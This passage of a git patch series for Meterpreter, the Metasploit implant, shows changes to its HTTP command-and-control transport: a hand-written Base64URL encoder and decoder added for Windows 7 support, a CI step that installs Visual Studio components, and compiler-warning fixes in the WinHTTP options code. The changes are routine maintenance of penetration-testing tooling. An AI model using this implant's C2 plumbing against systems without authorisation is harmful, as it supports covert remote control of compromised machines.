packet_get_tlv(request, TLV_TYPE_C2_UUID)['value'] + if not self.transport.patch_uuid(new_uuid): return ERROR_FAILURE, response return ERROR_SUCCESS, response From abadd5b051376dcd47457faabc5421906e9c6bb3 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 19 Mar 2026 22:03:01 +1000 Subject: [PATCH 22/24] Implement manual CRYPT_STRING_BASE64URI Windows 7 doesn't come with this option for use with the CryptStringToBinaryA or CryptBinaryToStringA functions. This was introduced in Windows 10. So we've got a custom implementation of this so that we know we have a working version that doesn't cause things to break on Windows 7. --- .../source/metsrv/server_http_utils.c | 86 +++++++++++++++++-- 1 file changed, 78 insertions(+), 8 deletions(-) diff --git a/c/meterpreter/source/metsrv/server_http_utils.c b/c/meterpreter/source/metsrv/server_http_utils.c index 96a62dd79..5d69f683b 100644 --- a/c/meterpreter/source/metsrv/server_http_utils.c +++ b/c/meterpreter/source/metsrv/server_http_utils.c @@ -4,9 +4,58 @@ */ #include "metsrv.h" -#ifndef CRYPT_STRING_BASE64URI -#define CRYPT_STRING_BASE64URI 0xd -#endif +/*! + * @brief Convert a Base64URL-encoded string to standard Base64 in-place. + * @param str Pointer to the string to convert (modified in-place). + * @param len Length of the string. + * @param paddedLen Pointer that will receive the length of the padded string. + * @return Pointer to a new buffer containing the standard Base64 string (with + * padding), or NULL on allocation failure. The caller must free() the + * returned buffer. + */ +static LPBYTE b64uri_to_b64(LPBYTE str, DWORD len, LPDWORD paddedLen) +{ + DWORD padNeeded = (4 - (len % 4)) % 4; + *paddedLen = len + padNeeded; + + LPBYTE result = (LPBYTE)calloc(sizeof(BYTE), *paddedLen + 1); + if (result == NULL) + { + return NULL; + } + + memcpy(result, str, len); + + for (DWORD i = 0; i < len; i++) + { + if (result[i] == '-') result[i] = '+'; + else if (result[i] == '_') result[i] = '/'; + } + + memset(result + len, '=', padNeeded); + + return result; +} + +/*! + * @brief Convert a standard Base64 string to Base64URL in-place. + * @param str Pointer to the string to convert (modified in-place). + * @param len Pointer to the length of the string; updated to reflect + * the new length after padding is stripped. + */ +static void b64_to_b64uri(LPBYTE str, LPDWORD len) +{ + DWORD i; + for (i = 0; i < *len; i++) + { + if (str[i] == '+') str[i] = '-'; + else if (str[i] == '/') str[i] = '_'; + else if (str[i] == '=') break; + } + + str[i] = '\0'; + *len = i; +} /*! * @brief Decode incoming packet data based on the configuration. @@ -36,14 +85,26 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD case C2_ENCODING_B64: case C2_ENCODING_B64URI: { - DWORD flags = conn->options.encode_flags == C2_ENCODING_B64 ? CRYPT_STRING_BASE64 : CRYPT_STRING_BASE64URI; + LPBYTE decodeInput = encodedData; + DWORD decodeInputLen = encodedDataLen; + LPBYTE convertedBuf = NULL; - if (CryptStringToBinaryA(encodedData, encodedDataLen, flags, NULL, dataLen, NULL, NULL)) + if (conn->options.encode_flags == C2_ENCODING_B64URI) + { + convertedBuf = b64uri_to_b64(encodedData, encodedDataLen, &decodeInputLen); + if (convertedBuf == NULL) + { + break; + } + decodeInput = convertedBuf; + } + + if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, NULL, dataLen, NULL, NULL)) { LPBYTE decoded = (LPBYTE)calloc(sizeof(BYTE), *dataLen + 1); if (decoded != NULL) { - if (CryptStringToBinaryA(encodedData, encodedDataLen, flags, decoded, dataLen, NULL, NULL)) + if (CryptStringToBinaryA(decodeInput, decodeInputLen, CRYPT_STRING_BASE64, decoded, dataLen, NULL, NULL)) { result = TRUE; *data = decoded; @@ -55,6 +116,11 @@ BOOL decode_encoded_packet(HttpTransportContext* ctx, LPBYTE encodedData, DWORD } } + if (convertedBuf) + { + free(convertedBuf); + } + break; } case C2_ENCODING_NONE: @@ -102,8 +168,7 @@ BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LP case C2_ENCODING_B64: case C2_ENCODING_B64URI: { - DWORD flags = conn->options.encode_flags == C2_ENCODING_B64 ? CRYPT_STRING_BASE64 : CRYPT_STRING_BASE64URI; - flags |= CRYPT_STRING_NOCRLF; + DWORD flags = CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF; if (CryptBinaryToStringA(data, dataLen, flags, NULL, encodedDataLen)) { @@ -112,6 +177,11 @@ BOOL encode_raw_packet(HttpTransportContext* ctx, LPBYTE data, DWORD dataLen, LP { if (CryptBinaryToStringA(data, dataLen, flags, encoded, encodedDataLen)) { + if (conn->options.encode_flags == C2_ENCODING_B64URI) + { + b64_to_b64uri(encoded, encodedDataLen); + } + result = TRUE; *encodedData = encoded; } From 569fd4f0564eeb6ef3216c10218379d3ea05398f Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 21 Mar 2026 13:26:05 +1100 Subject: [PATCH 23/24] Use updated VS2022 configuration/install This is cherry picked from the main branch just to get things going. --- .github/workflows/windows_meterpreter.yml | 17 +++++++++++ c/meterpreter/vs-configs/vs2022.vsconfig | 36 +++++++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 c/meterpreter/vs-configs/vs2022.vsconfig diff --git a/.github/workflows/windows_meterpreter.yml b/.github/workflows/windows_meterpreter.yml index d3f6eebae..c7c49213e 100644 --- a/.github/workflows/windows_meterpreter.yml +++ b/.github/workflows/windows_meterpreter.yml @@ -52,6 +52,23 @@ jobs: with: submodules: 'recursive' + # https://github.com/actions/runner-images/issues/4051#issuecomment-916971476 + - name: Install Dependencies + shell: pwsh + run: |- + Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\" + dir + $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise" + $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"' + $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache') + $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden + if ($process.ExitCode -eq 0) { + Write-Host "components have been successfully added" + } else { + Write-Host "components were not installed" + exit 1 + } + - name: Compile shell: cmd run: |- diff --git a/c/meterpreter/vs-configs/vs2022.vsconfig b/c/meterpreter/vs-configs/vs2022.vsconfig new file mode 100644 index 000000000..80d4f1e84 --- /dev/null +++ b/c/meterpreter/vs-configs/vs2022.vsconfig @@ -0,0 +1,36 @@ +{ + "version": "1.0", + "components": [ + "Microsoft.VisualStudio.Component.CoreEditor", + "Microsoft.VisualStudio.Workload.CoreEditor", + "Microsoft.VisualStudio.Component.Roslyn.Compiler", + "Microsoft.Component.MSBuild", + "Microsoft.VisualStudio.Component.TextTemplating", + "Microsoft.VisualStudio.Component.NuGet", + "Microsoft.VisualStudio.Component.Debugger.JustInTime", + "Microsoft.VisualStudio.Component.IntelliCode", + "Microsoft.VisualStudio.Component.VC.CoreIde", + "Microsoft.VisualStudio.Component.VC.Tools.x86.x64", + "Microsoft.VisualStudio.Component.Graphics.Tools", + "Microsoft.VisualStudio.Component.VC.DiagnosticTools", + "Microsoft.VisualStudio.Component.Windows11SDK.26100", + "Microsoft.VisualStudio.Component.VC.ATL", + "Microsoft.VisualStudio.Component.VC.Redist.14.Latest", + "Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Core", + "Microsoft.VisualStudio.Component.Windows11Sdk.WindowsPerformanceToolkit", + "Microsoft.VisualStudio.Component.CppBuildInsights", + "Microsoft.VisualStudio.ComponentGroup.WebToolsExtensions.CMake", + "Microsoft.VisualStudio.Component.VC.CMake.Project", + "Microsoft.VisualStudio.Component.VC.TestAdapterForBoostTest", + "Microsoft.VisualStudio.Component.VC.TestAdapterForGoogleTest", + "Microsoft.VisualStudio.Component.VC.ASAN", + "Microsoft.VisualStudio.Component.Vcpkg", + "Microsoft.VisualStudio.Component.VC.v141.x86.x64", + "Microsoft.Component.VC.Runtime.UCRTSDK", + "Microsoft.VisualStudio.Component.VC.Tools.ARM64EC", + "Microsoft.VisualStudio.Component.VC.Tools.ARM64", + "Microsoft.VisualStudio.Workload.NativeDesktop", + "Microsoft.VisualStudio.Component.WinXP" + ], + "extensions": [] +} From 94c85c76b86575393b9bbc655587d8811becdd61 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 08:39:55 +1000 Subject: [PATCH 24/24] Fix compiler complaints --- c/meterpreter/source/metsrv/server_transport_winhttp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 2d548917e..ba6161124 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -1014,9 +1014,9 @@ BOOL get_http_options_from_tlv(Packet* packet, Tlv* optionsTlv, HttpRequestOptio { targetOptions->encode_flags = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_ENC); targetOptions->headers = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_HEADERS, NULL); - targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, &targetOptions->payload_prefix_size); + targetOptions->payload_prefix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_PREFIX, (DWORD*)&targetOptions->payload_prefix_size); targetOptions->payload_prefix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_PREFIX_SKIP); - targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, &targetOptions->payload_suffix_size); + targetOptions->payload_suffix = packet_get_tlv_group_entry_value_raw_copy(packet, optionsTlv, TLV_TYPE_C2_SUFFIX, (DWORD*)&targetOptions->payload_suffix_size); targetOptions->payload_suffix_skip = packet_get_tlv_group_entry_value_uint(packet, optionsTlv, TLV_TYPE_C2_SUFFIX_SKIP); targetOptions->ua = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_UA, NULL); targetOptions->uri = packet_get_tlv_group_entry_value_wstring(packet, optionsTlv, TLV_TYPE_C2_URI, NULL);